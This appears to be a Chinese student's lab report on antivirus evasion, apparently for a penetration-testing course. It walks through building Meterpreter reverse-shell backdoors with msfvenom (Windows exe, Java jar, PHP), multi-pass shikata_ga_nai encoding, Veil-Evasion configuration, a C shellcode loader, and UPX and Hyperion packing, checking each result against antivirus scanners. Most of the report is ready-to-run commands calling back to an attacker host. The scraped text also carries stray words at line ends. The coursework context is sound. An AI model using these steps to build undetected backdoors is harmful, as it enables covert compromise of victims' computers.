正確使用msf編碼器(0.5分),msfvenom生成如jar之類的其餘文件(0.5分),veil-evasion(0.5分),加殼工具(0.5分),使用shellcode編程(1分)php
經過組合應用各類技術實現惡意代碼免殺(0.5分)(若是成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖。)html
用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本(加分0.5)java
1、免殺原理python
免殺shell
通常是對惡意軟件作處理,讓它不被殺毒軟件所檢測。也是滲透測試中須要使用到的技術。編程
要作好免殺,就時清楚殺毒軟件(惡意軟件檢測工具)是如何工做的。AV(Anti-virus)是很大一個產業。其中主要的技術人員基本有編制惡意軟件的經驗。windows
反過來也同樣,瞭解了免殺的工具和技術,你也就具備了反制它的基礎。數組
2、基礎知識問答網絡
通常來講,免殺的方法是針對技術的。tcp
20165203_backdoor.exe
後門文件,將它放在virscan.org中進行掃描無奈,又將名字改成了xyx_backdoor.exe
.
結果如圖所示
能夠看出,不加任何免殺操做的病毒很容易被檢測出來。那麼咱們編碼一下呢?
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.154.151 LPORT=5203 -f exe > 5203_encoded.exe
能夠看出,通過編碼後的後門程序檢出率下降了。那麼咱們屢次編碼結果會是什麼樣呢?
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.154.151 LPORT=5203 -f exe > 5203encoded10.exe
能夠看出,通過10次編碼,後門程序的檢出率更低了。
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5203 x> 20165203_backdoor_java.jar
咱們能夠對20165203_backdoor_java.jar
進行掃描,又出現了名字不合法的問題,將名字改成了xyx_backdoor.jar
.
掃描結果以下:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5226 x> 20165226_backdoor.php
20165203_backdoor.php
進行掃描。等等,難道是.php文件開掛了?這是什麼神奇操做???,不過終究仍是掃描出來了。。
咱們能夠安裝veil
,利用sudo apt-install veil-evasion
,而後繼續按y
繼續執行就能夠,可是過程須要耐心等待。不幸的是,在我等到夜裏2點快要安裝好的時候,提示我要安裝python.exe
什麼鬼,這個程序沒有安裝成功,致使後來的安裝過程不太順利,最後的veil
也不太可用。只用無奈拷了同窗的kali
。
安裝成功後,咱們能夠輸入veil
啓用veil。
use veil
命令進入Evil-Evasion
。use c/meterpreter/rev_tcp.py
進入配置界面。接下來,設置反彈要鏈接的Kali IP
,輸入命令set LHOST 192.168.154.151
。
接下來,就要設置端口,我用的個人學號,輸入命令set LPORT 5203
。
generate
生成文件,並給咱們的payload取個名字,輸入veil_c_5203
。/var/lib/veil/output/compiled/veil_c_5203.exe
。下面,咱們嘗試用半手工來注入shellcode
來執行一下吧。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5203 -f c
來用C語言生成一段shellcode吧,生成的sellcode原來長這模樣兒。接下來咱們就要手工編寫了。
建立一個文件20165203.c
,將咱們生成的shellcode(存在字符串數組unsigned char buf[]
中)。
unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" ··· "\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main() { int (*func)() = (int(*)())buf; func(); }
i686-w64-mingw32-g++ 20165203_shellcode.c -o 20165203_shellcode.exe
來編譯.c文件。不幸的是仍是被查殺出來了。
那麼咱們是否可以經過一些免殺的行爲來使咱們的程序免殺呢?接下來,就試一下加殼。
最後,咱們試試加殼吧,在使用加殼以前,咱們首先要了解幾個問題。
明白了這些,咱們來試試吧
咱們先來使用壓縮殼(UPX)
20165203_backdoor.exe
加殼獲得xyx_upxed.exe
,利用命令upx 20165203_backdoor.exe -o xyx_upxed
。將上一個生成的文件拷貝到/usr/share/windows-binaries/hyperion/
目錄中
/usr/share/windows-binaries/hyperion/
中wine hyperion.exe -v xyx_upxed.exe xyx_upxed_Hyperion.exe
進行加密殼:what?怎麼仍是這麼多
哈哈,終於到了實戰的時候了。
咱們如今只是利用一些方法生成後門程序,並使後門程序免於殺毒軟件的檢測,也就是免殺,可是如何將咱們生成的後門程序注入到靶機裏,又如何誘導靶機的用戶來運行後門程序,這都是咱們從此要思考解決的問題。
另外,隨着病毒庫的不斷更新,咱們還須要探索出新的方法來免殺,這也充分說明IT人士是要不斷學習和進步的。
問題:一開始輸入編碼10次的命令時,出現瞭如圖所示狀況,編碼失敗。
解決:其實,很迷,檢查了一下個人命令也沒有輸錯,後來發現,我利用以前編碼一次的程序實現了一下回連(固然windows7的電腦管家關着),是否是正在回連的緣故,我關閉了msf,從新編碼,就成功了。
此次實現真的好有意思,本身利用msfvenom生成後門程序,而後想辦法讓後門程序不被查殺,有點兒黑客的感受了,哈哈。
經過此次的免殺實驗,我瞭解了免殺的概念、基本方法等,還能利用virtotal、virscan等工具來進行掃描,隨着實驗的增多,咱們不能僅僅侷限於能夠跟着實驗的步驟走,要明白每次實驗步驟的含義和目的,才能爲從此獨立實戰打下基礎。